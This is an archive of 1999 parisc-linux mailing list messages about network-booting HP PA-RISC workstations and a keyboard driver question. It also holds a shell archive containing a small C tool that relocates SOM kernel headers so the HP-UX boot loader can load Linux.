NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:40 +0000 (UTC)
Cc: simen-tt@online.no, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Sun Oct 24 16:48:15 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA31925
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Oct 1999 16:48:14 -0600
Original-Received: (qmail 538 invoked by uid 15267); 24 Oct 1999 22:49:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 530 invoked from network); 24 Oct 1999 22:49:14 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 22:49:14 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA21680;
	Sun, 24 Oct 1999 18:53:25 -0400
In-Reply-To: <199910221500.IAA00520@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6240


On Fri, 22 Oct 1999, Grant Grundler wrote:
> I don't know what the rbootd problem is...

Actually, I seem to recall patching up the rbootd rpm to support this, but
I don't remember the fix.  If you look at the rbootd source rpm that's up
on ftp://puffin.external.hp.com you should find the patch.

- alex


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Sun, 24 Oct 1999 19:08:42 -0400 (EDT)
Lines: 384
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910241908180.21739-100000@vodka.thepuffingroup.com>
References: <199910222334.RAA24091@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618580 26888 80.91.229.3 (22 Nov 2014 01:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: adevries@thepuffingroup.com  Sun Oct 24 17:02:34 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA32222
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Oct 1999 17:02:33 -0600
Original-Received: (qmail 4138 invoked by uid 15267); 24 Oct 1999 23:03:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4131 invoked from network); 24 Oct 1999 23:03:34 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Oct 1999 23:03:34 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id TAA21749;
	Sun, 24 Oct 1999 19:08:42 -0400
In-Reply-To: <199910222334.RAA24091@debian.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6241


Actually, this is pretty helpful.  Paul, would you consider licensing this
under the GPL?

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group

On Fri, 22 Oct 1999, Paul Bame wrote:

> 
> Ok prumpf, here's the hack I suggested.  I didn't check it into CVS
> anywhere (maybe arch/parisc/boot?).  It appears to work quite well
> even without any changes to head.S
> 
> For those not privy to our conversation, this little tool munges
> your SOM vmlinux file so that it can be loaded by the normal hpux
> boot loader.  I'm not suggesting this is a great long-term strategy,
> but it might make life easier for someone.
> 
> 	-Paul Bame
> 
> 
> #!/bin/sh
> # This is a shell archive (produced by GNU sharutils 4.2).
> # To extract the files from this archive, save it to some FILE, remove
> # everything before the `!/bin/sh' line above, then type `sh FILE'.
> #
> # Made on 1999-10-22 17:33 MDT by <bame@fc.hp.com>.
> # Source directory was `/users/bame/puffin/parisc/linux/arch/parisc/boot'.
> #
> # Existing files will *not* be overwritten unless `-c' is specified.
> #
> # This shar contains:
> # length mode       name
> # ------ ---------- ------------------------------------------
> #   2197 -rw-r--r-- som_relocate.c
> #   5425 -rw-r--r-- copy-of-som.h
> #
> save_IFS="${IFS}"
> IFS="${IFS}:"
> gettext_dir=FAILED
> locale_dir=FAILED
> first_param="$1"
> for dir in $PATH
> do
>   if test "$gettext_dir" = FAILED && test -f $dir/gettext \
>      && ($dir/gettext --version >/dev/null 2>&1)
>   then
>     set `$dir/gettext --version 2>&1`
>     if test "$3" = GNU
>     then
>       gettext_dir=$dir
>     fi
>   fi
>   if test "$locale_dir" = FAILED && test -f $dir/shar \
>      && ($dir/shar --print-text-domain-dir >/dev/null 2>&1)
>   then
>     locale_dir=`$dir/shar --print-text-domain-dir`
>   fi
> done
> IFS="$save_IFS"
> if test "$locale_dir" = FAILED || test "$gettext_dir" = FAILED
> then
>   echo=echo
> else
>   TEXTDOMAINDIR=$locale_dir
>   export TEXTDOMAINDIR
>   TEXTDOMAIN=sharutils
>   export TEXTDOMAIN
>   echo="$gettext_dir/gettext -s"
> fi
> touch -am 1231235999 $$.touch >/dev/null 2>&1
> if test ! -f 1231235999 && test -f $$.touch; then
>   shar_touch=touch
> else
>   shar_touch=:
>   echo
>   $echo 'WARNING: not restoring timestamps.  Consider getting and'
>   $echo "installing GNU \`touch', distributed in GNU File Utilities..."
>   echo
> fi
> rm -f 1231235999 $$.touch
> #
> if mkdir _sh24082; then
>   $echo 'x -' 'creating lock directory'
> else
>   $echo 'failed to create lock directory'
>   exit 1
> fi
> # ============= som_relocate.c ==============
> if test -f 'som_relocate.c' && test "$first_param" != -c; then
>   $echo 'x -' SKIPPING 'som_relocate.c' '(file already exists)'
> else
> shar: Saving som_relocate.c (text)
>   $echo 'x -' extracting 'som_relocate.c' '(text)'
>   sed 's/^X//' << 'SHAR_EOF' > 'som_relocate.c' &&
> #include <stdio.h>
> #include <sys/time.h>
> #include <assert.h>
> #include "copy-of-som.h"
> X
> /* You'll need "copy-of-som.h" to compile this.  If you don't have it,
> X * grab a copy from include/linux/som.h and remove the #include directive.
> X *
> X * Compile with gcc -o som_relocate som_relocate.c
> X *
> X * Run this on your parisc SOM kernel (vmlinux) and then you can use
> X * the hpux boot loader to load it.  Here's what it looks like
> X * when interacting with the boot ROM:
> X *
> X * ISL>					# the normal HP-UX boot prompt
> X *
> X * ISL> hpux /boot/vmlinux		# Use your path to vmlinux here
> X *
> X *
> X * You can run this over and over without ill effect on the same
> X * kernel image.
> X *
> X * Enjoy,
> X *
> X *				-Paul Bame
> X */
> X
> /* relocate address to where it'll live physically */
> #define RELOCATE(x)		x &= ~0xC0000000
> X
> int
> main(int argc, char *argv[])
> {
> X    FILE *f;
> X    struct som_hdr sh;
> X    struct som_exec_auxhdr aux;
> X
> X    if (argc != 2)
> X    {
> X	fprintf(stderr, "Usage: %s <SOM-vmlinux>\n", argv[0]);
> X	return 2;
> X    }
> X
> X    if ((f = fopen(argv[1], "rb+")) == NULL)
> X    {
> X	perror(argv[1]);
> X	return 3;
> X    }
> X
> X    /* read the SOM header */
> X    fread(&sh, sizeof sh, 1, f);
> X
> X    /* hack it */
> X    printf("entry_space 0x%08x\n", sh.entry_space);
> X    printf("entry_subspace 0x%08x\n", sh.entry_subspace);
> X    printf("RELOCATE entry_offset 0x%08x\n", sh.entry_offset);	/********/
> X    RELOCATE(sh.entry_offset);
> X    printf("aux_header_location 0x%08x\n", sh.aux_header_location);
> X    printf("aux_header_size %d\n", sh.aux_header_size);
> X
> X    /* write it */
> X    rewind(f);
> X    fwrite(&sh, sizeof sh, 1, f);
> X
> X    /* read the aux header */
> X    fseek(f, sh.aux_header_location, SEEK_SET);
> X    fread(&aux, sizeof aux, 1, f);
> X    printf("RELOCATE aux.exec_tmem 0x%08x\n", aux.exec_tmem);
> X    RELOCATE(aux.exec_tmem);
> X    printf("aux.exec_tsize %d\n", aux.exec_tsize);
> X    printf("RELOCATE aux.exec_dmem 0x%08x\n", aux.exec_dmem);
> X    RELOCATE(aux.exec_dmem);
> X    printf("aux.exec_dsize %d\n", aux.exec_dsize);
> X    printf("RELOCATE aux.exec_entry 0x%08x\n", aux.exec_entry);
> X    RELOCATE(aux.exec_entry);
> X
> X    /* write it */
> X    fseek(f, sh.aux_header_location, SEEK_SET);
> X    fwrite(&aux, sizeof aux, 1, f);
> X
> X    fclose(f);
> X    return 0;
> }
> SHAR_EOF
>   $shar_touch -am 102217281999 'som_relocate.c' &&
>   chmod 0644 'som_relocate.c' ||
>   $echo 'restore of' 'som_relocate.c' 'failed'
>   if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \
>   && ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then
>     md5sum -c << SHAR_EOF >/dev/null 2>&1 \
>     || $echo 'som_relocate.c:' 'MD5 check failed'
> e5852faf2501dcc23a129c99abd1f7e1  som_relocate.c
> SHAR_EOF
>   else
>     shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'som_relocate.c'`"
>     test 2197 -eq "$shar_count" ||
>     $echo 'som_relocate.c:' 'original size' '2197,' 'current size' "$shar_count!"
>   fi
> fi
> # ============= copy-of-som.h ==============
> if test -f 'copy-of-som.h' && test "$first_param" != -c; then
>   $echo 'x -' SKIPPING 'copy-of-som.h' '(file already exists)'
> else
> shar: Saving copy-of-som.h (text)
>   $echo 'x -' extracting 'copy-of-som.h' '(text)'
>   sed 's/^X//' << 'SHAR_EOF' > 'copy-of-som.h' &&
> #ifndef _LINUX_SOM_H
> #define _LINUX_SOM_H
> X
> /* File format definition for SOM executables / shared libraries */
> X
> #define SOM_PAGESIZE 4096
> X
> /* this is the SOM header */
> struct som_hdr {
> X	short		system_id;		/* magic number - system */
> X	short		a_magic;		/* magic number - file type */
> X	unsigned int	version_id;		/* versiod ID: YYMMDDHH */
> X	struct timespec	file_time;		/* system clock */
> X	unsigned int	entry_space;		/* space for entry point */
> X	unsigned int	entry_subspace;		/* subspace for entry point */
> X	unsigned int	entry_offset;		/* offset of entry point */
> X	unsigned int	aux_header_location;	/* auxiliary header location */
> X	unsigned int	aux_header_size;	/* auxiliary header size */
> X	unsigned int	som_length;		/* length of entire SOM */
> X	unsigned int	presumed_dp;		/* compiler's DP value */
> X	unsigned int	space_location;		/* space dictionary location */
> X	unsigned int	space_total;		/* number of space entries */
> X	unsigned int	subspace_location;	/* subspace entries location */
> X	unsigned int	subspace_total;		/* number of subspace entries */
> X	unsigned int	loader_fixup_location;	/* MPE/iX loader fixup */
> X	unsigned int	loader_fixup_total;	/* number of fixup records */
> X	unsigned int	space_strings_location;	/* (sub)space names */
> X	unsigned int	space_strings_size;	/* size of strings area */
> X	unsigned int	init_array_location;	/* reserved */
> X	unsigned int	init_array_total;	/* reserved */
> X	unsigned int	compiler_location;	/* module dictionary */
> X	unsigned int	compiler_total;		/* number of modules */
> X	unsigned int	symbol_location;	/* symbol dictionary */
> X	unsigned int	symbol_total;		/* number of symbols */
> X	unsigned int	fixup_request_location;	/* fixup requests */
> X	unsigned int	fixup_request_total;	/* number of fixup requests */
> X	unsigned int	symbol_strings_location;/* module & symbol names area */
> X	unsigned int	symbol_strings_size;	/* size of strings area */
> X	unsigned int	unloadable_sp_location;	/* unloadable spaces location */
> X	unsigned int	unloadable_sp_size;	/* size of data */
> X	unsigned int	checksum;
> };
> X
> /* values for system_id */
> X
> #define SOM_SID_PARISC_1_0	0x020b
> #define SOM_SID_PARISC_1_1	0x0210
> #define SOM_SID_PARISC_2_0	0x0214
> X
> /* values for a_magic */
> X
> #define SOM_LIB_EXEC		0x0104
> #define SOM_RELOCATABLE		0x0106
> #define SOM_EXEC_NONSHARE	0x0107
> #define SOM_EXEC_SHARE		0x0108
> #define SOM_EXEC_DEMAND		0x010B
> #define SOM_LIB_DYN		0x010D
> #define SOM_LIB_SHARE		0x010E
> #define SOM_LIB_RELOC		0x0619
> X
> /* values for version_id.  Decimal not hex, yes.  Grr. */
> X
> #define SOM_ID_OLD		85082112
> #define SOM_ID_NEW		87102412
> X
> struct aux_id {
> X	unsigned int	mandatory :1;	/* the linker must understand this */
> X	unsigned int	copy	  :1;	/* Must be copied by the linker */
> X	unsigned int	append	  :1;	/* Must be merged by the linker */
> X	unsigned int	ignore	  :1;	/* Discard section if unknown */
> X	unsigned int	reserved  :12;
> X	unsigned int	type	  :16;	/* Header type */
> X	unsigned int	length;		/* length of _following_ data */
> };
> X
> /* The Exec Auxiliary Header.  Called The HP-UX Header within HP apparently. */
> struct som_exec_auxhdr {
> X	struct aux_id	som_auxhdr;
> X	int		exec_tsize;	/* Text size in bytes */
> X	int		exec_tmem;	/* Address to load text at */
> X	int		exec_tfile;	/* Location of text in file */
> X	int		exec_dsize;	/* Data size in bytes */
> X	int		exec_dmem;	/* Address to load data at */
> X	int		exec_dfile;	/* Location of data in file */
> X	int		exec_bsize;	/* Uninitialised data (bss) */
> X	int		exec_entry;	/* Address to start executing */
> X	int		exec_flags;	/* loader flags */
> X	int		exec_bfill;	/* initialisation value for bss */
> };
> X
> /* Oh, the things people do to avoid casts.  Shame it'll break with gcc's
> X * new aliasing rules really.
> X */
> union name_pt {
> X	char *		n_name;
> X	unsigned int	n_strx;
> };
> X
> /* The Space Dictionary */
> struct space_dictionary_record {
> X	union name_pt	name;			/* index to subspace name */
> X	unsigned int	is_loadable	:1;	/* loadable */
> X	unsigned int	is_defined	:1;	/* defined within file */
> X	unsigned int	is_private	:1;	/* not sharable */
> X	unsigned int	has_intermediate_code :1; /* contains intermediate code */
> X	unsigned int	is_tspecific	:1;	/* thread specific */
> X	unsigned int	reserved	:11;	/* for future expansion */
> X	unsigned int	sort_key	:8;	/* for linker */
> X	unsigned int	reserved2	:8;	/* for future expansion */
> X
> X	int		space_number;		/* index */
> X	int		subspace_index;		/* index into subspace dict */
> X	unsigned int	subspace_quantity;	/* number of subspaces */
> X	int		loader_fix_index;	/* for loader */
> X	unsigned int	loader_fix_quantity;	/* for loader */
> X	int		init_pointer_index;	/* data pointer array index */
> X	unsigned int	init_pointer_quantity;	/* number of data pointers */
> };
> X
> /* The Subspace Dictionary */
> struct subspace_dictionary_record {
> X	int		space_index;
> X	unsigned int	access_control_bits :7;
> X	unsigned int	memory_resident	:1;
> X	unsigned int	dup_common	:1;
> X	unsigned int	is_common	:1;
> X	unsigned int	quadrant	:2;
> X	unsigned int	initially_frozen :1;
> X	unsigned int	is_first	:1;
> X	unsigned int	code_only	:1;
> X	unsigned int	sort_key	:8;
> X	unsigned int	replicate_init	:1;
> X	unsigned int	continuation	:1;
> X	unsigned int	is_tspecific	:1;
> X	unsigned int	is_comdat	:1;
> X	unsigned int	reserved	:4;
> X
> X	int		file_loc_init_value;
> X	unsigned int	initialization_length;
> X	unsigned int	subspace_start;
> X	unsigned int	subspace_length;
> X
> X	unsigned int	reserved2	:5;
> X	unsigned int	alignment	:27;
> X
> X	union name_pt	name;
> X	int		fixup_request_index;
> X	unsigned int	fixup_request_quantity;
> };
> X
> #endif /* _LINUX_SOM_H */
> SHAR_EOF
>   $shar_touch -am 102217001999 'copy-of-som.h' &&
>   chmod 0644 'copy-of-som.h' ||
>   $echo 'restore of' 'copy-of-som.h' 'failed'
>   if ( md5sum --help 2>&1 | grep 'sage: md5sum \[' ) >/dev/null 2>&1 \
>   && ( md5sum --version 2>&1 | grep -v 'textutils 1.12' ) >/dev/null; then
>     md5sum -c << SHAR_EOF >/dev/null 2>&1 \
>     || $echo 'copy-of-som.h:' 'MD5 check failed'
> 55c72739b33cd9ed3da5dce3a68cdfdb  copy-of-som.h
> SHAR_EOF
>   else
>     shar_count="`LC_ALL= LC_CTYPE= LANG= wc -c < 'copy-of-som.h'`"
>     test 5425 -eq "$shar_count" ||
>     $echo 'copy-of-som.h:' 'original size' '5425,' 'current size' "$shar_count!"
>   fi
> fi
> rm -fr _sh24082
> exit 0
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 
> 
> 


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] keyboards and such.
Date: Sun, 24 Oct 1999 23:01:57 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910242258310.22118-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618580 26891 80.91.229.3 (22 Nov 2014 01:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:40 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Oct 24 20:54:40 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA01392
	for <parisc-linux@puffin.external.hp.com>; Sun, 24 Oct 1999 20:54:39 -0600
Original-Received: (qmail 23014 invoked by uid 15267); 25 Oct 1999 02:55:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23007 invoked from network); 25 Oct 1999 02:55:40 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 02:55:40 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA22190
	for <parisc-linux@thepuffingroup.com>; Sun, 24 Oct 1999 23:01:57 -0400
Xref: news.gmane.org gmane.linux.ports.parisc:6242


So, I've spent some time looking at the keyboard device driver in the
Linux kernel, and it really wants there to be an 8042 PS/2 controller,
which just doesn't exist on the Lasi.

This means that I can speak directly to the keyboard, which shouldn't be
too difficult to whip up a driver if I had the docs on how to speak to the
keyboard.

Does anyone have docs on how to speak to a standard AT or PS/2 keyboard?
The Black Puffin of Death will haunt you if you point me to 8042
controller docs.

- Alex

-- 
Alex deVries <adevries@thepuffingroup.com>
Vice President Engineering
The Puffin Group


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Simen Timian Thoresen" <simentt@dolphinics.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] rbooting an 735?
Date: Mon, 25 Oct 1999 08:16:42 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <199910250611.HAA09606@scimitar.dolphinics.no>
References: <199910221500.IAA00520@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416618581 27159 80.91.229.3 (22 Nov 2014 01:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:41 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simentt@scimitar.dolphinics.no  Mon Oct 25 00:47:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA02169
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 00:47:29 -0600
Original-Received: (qmail 4487 invoked by uid 15267); 25 Oct 1999 06:48:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4480 invoked from network); 25 Oct 1999 06:48:30 -0000
Original-Received: from scifi.dolphinics.no (193.71.152.46)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 06:48:30 -0000
Original-Received: from scimitar.dolphinics.no (scimitar.dolphinics.no [193.71.152.129])
	by scifi.dolphinics.no (8.9.3/8.9.3) with ESMTP id HAA23741
	for <parisc-linux@thepuffingroup.com>; Mon, 25 Oct 1999 07:57:52 +0200
Original-Received: from scimen (scimen [193.71.152.165])
	by scimitar.dolphinics.no (8.8.8/8.8.8) with SMTP id HAA09606
	for <parisc-linux@thepuffingroup.com>; Mon, 25 Oct 1999 07:11:23 +0100 (MET)
Priority: normal
In-reply-to: <Pine.LNX.4.10.9910241852350.21645-100000@vodka.thepuffingroup.com>
X-mailer: Pegasus Mail for Win32 (v3.11)
Xref: news.gmane.org gmane.linux.ports.parisc:6243

> On Fri, 22 Oct 1999, Grant Grundler wrote:
> > I don't know what the rbootd problem is...
> 
> Actually, I seem to recall patching up the rbootd rpm to support this, but
> I don't remember the fix.  If you look at the rbootd source rpm that's up
> on ftp://puffin.external.hp.com you should find the patch.
> 
> - alex

ftp://puffin.external.hp.com/pub/parisc/binaries/SRPMS/rbootd-2.0-2.src.rpm

GREAT!
That seems as if it should work!
I'll try it when I get home tonight.

Shouldn't this change be back-propagated to the original rbootd 
maintaners? 

-Simen
--
Simen Thoresen, Beowulf-cleaner and random artist.

Er det ikke rart?
The gnu RART-project on valinor.dolphinics.no/~simentt/rart


From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.Infodrom.North.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: rbooting an 735?
Date: Mon, 25 Oct 1999 11:19:47 +0200
Lines: 136
Approved: news@gmane.org
Message-ID: <19991025111947.Q4777@finlandia.infodrom.north.de>
References: <199910221500.IAA00520@milano.cup.hp.com> <Pine.LNX.4.10.9910241852350.21645-100000@vodka.thepuffingroup.com> <199910250611.HAA09606@scimitar.dolphinics.no>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618581 27166 80.91.229.3 (22 Nov 2014 01:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Simen Timian Thoresen <simentt@dolphinics.no>
Original-X-From: joey@finlandia.Infodrom.North.DE  Mon Oct 25 03:18:57 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA02954
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 03:18:57 -0600
Original-Received: (qmail 3406 invoked by uid 15267); 25 Oct 1999 09:19:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3390 invoked from network); 25 Oct 1999 09:19:53 -0000
Original-Received: from surusoitto.infodrom.north.de (postfix@194.94.254.230)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 09:19:53 -0000
Original-Received: from finlandia.Infodrom.North.DE (finlandia.infodrom.north.de [194.94.254.226])
	by surusoitto.infodrom.north.de (Postfix) with ESMTP
	id D72243B3D8; Mon, 25 Oct 1999 11:19:16 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m11fgI7-000bAIC@finlandia.Infodrom.North.DE>
	for parisc-linux@thepuffingroup.com; Mon, 25 Oct 1999 11:19:47 +0200 (CEST) 
User-Agent: Mutt/1.0pre2i
In-Reply-To: <199910250611.HAA09606@scimitar.dolphinics.no>
Xref: news.gmane.org gmane.linux.ports.parisc:6244

Simen Timian Thoresen wrote:
> > Actually, I seem to recall patching up the rbootd rpm to support this, but
> > I don't remember the fix.  If you look at the rbootd source rpm that's up
> > on ftp://puffin.external.hp.com you should find the patch.

> ftp://puffin.external.hp.com/pub/parisc/binaries/SRPMS/rbootd-2.0-2.src.rpm

> Shouldn't this change be back-propagated to the original rbootd 
> maintaners? 

Sure, it should.  However, I wonder if the code is still maintained
inside of the University of Utah...

Regards,

	Joey

-- 
There are lies, statistics and benchmarks.

X-From-Line: hppa-linux@thepuffingroup.com  Sun Feb 28 10:44:50 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id KAA22198
	for <pcj@merlin.pcj.primenet.com>; Sun, 28 Feb 1999 10:44:50 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Sun, 28 Feb 1999 10:44:50 PST
Received: from smtp02.primenet.com (daemon@smtp01.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id LAA17811
	for <pcj@smtp-local.primenet.com>; Sun, 28 Feb 1999 11:41:37 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id LAA22523
	for <pcj@primenet.com>; Sun, 28 Feb 1999 11:41:36 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd022514; Sun Feb 28 11:41:31 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id NAA28116;
	Sun, 28 Feb 1999 13:17:09 -0500
Resent-Date: Sun, 28 Feb 1999 13:17:09 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <36D98836.D43B972E@ruhr-uni-bochum.de>
Date: Sun, 28 Feb 1999 19:17:26 +0100
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
X-Mailer: Mozilla 4.06 [de] (Win95; I)
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Help/Another bootstrap test
References: <199902172309.RAA27695@equator.com> <36CB80C1.A9FEDC4A@ottawa.com> <36D8CF9C.C34C4E6B@ruhr-uni-bochum.de>
Content-Type: multipart/mixed; boundary="------------5D171D1B366D0577F4D31D0A"
Resent-Message-ID: <"sbmSW2.0.9t6.bWOss"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/132
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: ab58036e5e20b6f6376d8afb94d69359
Lines: 73
Xref: merlin.pcj.primenet.com palinux:103

Dies ist eine mehrteilige Nachricht im MIME-Format.
--------------5D171D1B366D0577F4D31D0A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Helge Deller schrieb:

> Hello all !
>
> Maybe someone with a working BOOTP or RBOOTD could please give me some help/advice,
> how to set up the network-booting for an HP 715/64 and an iA32-SuSE-6.0-Distribution
> ?
> [.....]Thanks,
> Helge Deller.
>

Ok, I got it myself work !

Here's the output:
------------------
IPL_DEBUG: Page zero parameters:
P0_IMM_max_mem:          67108864 (64MB)
P0_IMM_spa_size:         67108864
P0_MC_cont_size:         67108864
P0_MC_phys_size:         67108864
P0_MC_ad_size:           67108864
P0_BOOTCPU_mem_free:     0x000000
P0_BOOTCPU_hpa:          0xFFFBE000
P0_BOOTCPU_pdc:          0xF0012870
P0_BOOTCPU_10msec:       640000
P0_COUT_iodc_io:         0x00008480
P0_CIN_iodc_io:          0x00008000
P0_BOOTDEV_iodc_io:      0x0000BAE8
P0_COUT_class:           0x00000009
P0_CIN_class:            0x00000008
P0_BOOTDEV_class:        0x00001002
Reading parameters...donepLoading done.        <---- Original Output !
Transferri                                                          <- IT STOPPED HERE
!!!!!!!!!!

---------------------------------------------------
Booting via BOOTP on an HP 9000/715/D....

JASON: It seems, that you have to insert some wait-cycles before proceeding...!
The screen-output seems to be delayed, and so some chars seems to be overwritten (?)

Good work,
Helge Deller.

--------------5D171D1B366D0577F4D31D0A
Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf"
Content-Description: Visitenkarte fr Helge Deller
Content-Disposition: attachment; filename="vcard.vcf"
Content-Transfer-Encoding: 7bit

begin:          vcard
fn:             Helge Deller
n:              Deller;Helge
adr:            Weifeldweg 7;;;Bochum;;44795;Deutschland
email;internet: Helge.Deller@ruhr-uni-bochum.de
x-mozilla-cpt:  ;0
x-mozilla-html: TRUE
version:        2.1
end:            vcard


--------------5D171D1B366D0577F4D31D0A--

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:10:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
